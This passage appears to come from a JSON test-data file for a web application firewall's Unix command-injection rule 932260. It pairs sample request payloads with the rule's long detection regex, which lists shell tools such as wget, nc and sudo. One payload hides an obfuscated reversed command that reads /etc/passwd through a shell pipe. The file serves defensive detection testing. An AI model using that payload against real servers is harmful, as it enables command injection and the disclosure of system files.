|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=ping pong tables" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)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(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=time is of the essence" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{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<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "x=printf%20dwssap/cte/%20tac%20|%20rev%20|%20sh" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\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rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "cmd=python3.10%20cmd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "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?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\